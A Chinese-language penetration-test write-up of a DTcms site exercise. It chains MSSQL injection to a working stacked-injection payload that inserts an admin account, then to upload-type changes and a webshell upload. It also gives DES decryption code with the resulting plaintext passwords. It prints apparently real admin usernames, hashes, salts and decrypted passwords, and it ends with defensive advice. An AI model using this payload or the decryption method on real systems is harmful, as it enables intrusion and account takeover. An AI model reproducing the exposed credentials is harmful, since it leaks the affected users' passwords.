记录一次攻防演练中的代码审计
字数 1101 2025-08-27 12:33:37
DTcms 攻防演练中的代码审计与利用技术详解
1. 初始发现与信息收集
1.1 MSSQL 注入发现
- 目标系统存在 MSSQL 注入漏洞
- 通过注入获取到管理员账号和加密密码:
erui/E7B8D79CB1F8267E98411A1081B75FBD admin/154A70BBAD1377B256671E16CAF430ED lchh/262BA2BFC886B171B5488CA6E9F25BB8
1.2 密码分析
- 发现密码采用加盐 MD5 加密方式
- 通过进一步信息收集获取到盐值:
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
2. 攻击思路与尝试
2.1 思路一:堆叠注入插入数据
-
识别系统:通过报错信息确认系统为 DTCMS
-
获取源码:从 GitHub 获取 DTCMS 源码
-
分析数据库结构:在 SQL 文件中找到管理员表结构:
INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超级管理员', N'13800138000', N'info@dtcms.net', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime)) -
构造注入 Payload:
https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);--+- 插入账号:
test - 密码:
admin888(已知默认密码) - 盐值:
24V0XZ
- 插入账号:
-
后续利用:
- 登录后通过文件上传功能获取 shell
- 添加允许上传的文件类型:
.aspx,.ashx - 上传 WebShell(如哥斯拉马)实现远程控制
2.2 思路二:代码审计解密密码
2.2.1 关键文件定位
- 登录逻辑:
DTcms.Web中的login.aspx.cs - 管理类:
BLL.manager()(位于DTcms.BLL文件夹中的manager.cs) - 加密类:
DESEncrypt(位于DTcms.Common中)
2.2.2 加密流程分析
- 登录时从数据库获取用户盐值
- 调用
DESEncrypt.Encrypt(password, salt)对输入密码进行加密 - 将加密结果与数据库中存储的密码比对
2.2.3 DESEncrypt 类详解
using System;
using System.Security.Cryptography;
using System.Text;
namespace DTcms.Common
{
public class DESEncrypt
{
// 加密方法
public static string Encrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
byte[] inputByteArray = Encoding.Default.GetBytes(Text);
// 使用盐值生成 Key 和 IV
des.Key = ASCIIEncoding.ASCII.GetBytes(
System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(
System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
// 执行加密
MemoryStream ms = new MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
// 返回十六进制字符串
StringBuilder ret = new StringBuilder();
foreach(byte b in ms.ToArray())
{
ret.AppendFormat("{0:X2}", b);
}
return ret.ToString();
}
// 解密方法
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
// 将十六进制字符串转换为字节数组
for(int x = 0; x < len; x++)
{
int i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
// 使用盐值生成 Key 和 IV
des.Key = ASCIIEncoding.ASCII.GetBytes(
System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(
System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
// 执行解密
MemoryStream ms = new MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
}
}
2.2.4 解密实现代码
using System;
using System.Security.Cryptography;
using System.Text;
using System.Web;
namespace ConsoleApp1
{
class Program
{
public static string Decrypt(string Text, string sKey)
{
// 实现与上述相同的解密逻辑
// ...
}
static void Main(string[] args)
{
Console.WriteLine(Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ")); // 输出: lina790419
Console.WriteLine(Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ")); // 输出: asdfghjk1
Console.WriteLine(Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84")); // 输出: sunlue2009
}
}
}
3. 技术要点总结
-
MSSQL 注入利用:
- 堆叠注入的特殊利用方式
- 通过插入数据绕过密码解密需求
-
代码审计关键点:
- 定位关键功能代码(登录、加密)
- 理解 .NET 项目结构(.ashx、.cs 文件作用)
- 跟踪加密流程
-
加密算法分析:
- 识别实际使用的是 DES 而非最初认为的 MD5
- 理解盐值在加密中的使用方式
- 实现逆向解密算法
-
系统漏洞链:
- MSSQL 注入 → 获取加密凭证 → 堆叠注入插入账户 → 登录系统 → 文件上传获取 shell
- 或:代码审计 → 解密凭证 → 直接登录
4. 防御建议
-
防止 SQL 注入:
- 使用参数化查询
- 限制数据库账号权限
-
密码安全:
- 使用强加密算法(如 bcrypt、PBKDF2)
- 每个用户使用唯一盐值
- 避免在代码中硬编码加密逻辑
-
文件上传安全:
- 严格限制可上传文件类型
- 对上传内容进行检测
-
代码安全:
- 避免在客户端实现敏感逻辑
- 对加密算法实现进行混淆
-
日志监控:
- 监控异常登录行为
- 记录数据库敏感操作